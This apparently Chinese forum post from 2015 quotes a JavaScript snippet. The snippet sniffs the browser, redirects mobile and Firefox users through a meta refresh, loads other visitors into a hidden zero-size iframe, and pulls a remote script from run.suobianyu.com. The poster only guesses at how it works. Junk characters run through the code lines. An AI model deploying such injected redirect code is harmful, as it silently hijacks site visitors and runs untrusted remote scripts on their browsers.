|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑
5 I# S" d/ }& g( G2 N. @& q# U- var ua = navigator.userAgent.toLowerCase(),
( N9 b8 ?7 Z- U, C4 v. z - browser = {
8 Q8 u# `' Z) W) n* P - ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1], l0 @7 ?" U7 `# T, \. A8 A0 {* y
- opera: /opera/.test(ua),! x4 b4 s2 W4 S7 \! P% _5 w! _
- maxthon: /maxthon/.test(ua),
+ I4 W% t9 ]+ d. ? - theworld: /theworld/.test(ua),- Y- F( g1 K- Q
- qq: /qqbrowser/.test(ua),
7 U' B, t, x$ B7 m - sogou: /se /.test(ua),
9 K& j. u6 o8 s - liebao: /liebao/.test(ua),; H2 u- S' T. X! [& S9 c
- firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),8 O3 O) r. `2 A2 I; D6 S
- chrome: /chrome|crios/.test(ua),
9 V- z! v" y) y+ ]3 |/ Z - safari: /webkit/.test(ua),' G- I# y( q2 S$ X; V
- uc: /ucbrowser/.test(ua),9 P, x; S; n1 F' h" E% x
- ie: /msie/.test(ua) && !/opera/.test(ua)9 `8 k/ l/ M0 u* _# D. ]3 Y+ F1 W
- };
* d8 r5 g x2 u - var ver = browser.ver;
: H- \3 f: {- ^5 Y - if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {
% Y6 N) v" l1 _5 @/ p- a - document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");
: {) p+ z! M* U5 F2 t1 y - } else {# ~: }* {$ a0 \
- window.sc = "<iframe src=" + tourl + "></iframe>";
7 ^) S% B" e8 ] - document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");3 z4 A; q; p# j [" d5 R
- }
b2 e, l& q" G. @: l - document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码 - X' n$ I: I8 k* P4 R( ~* n% |
2 y G5 R+ r- q4 I+ Z
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|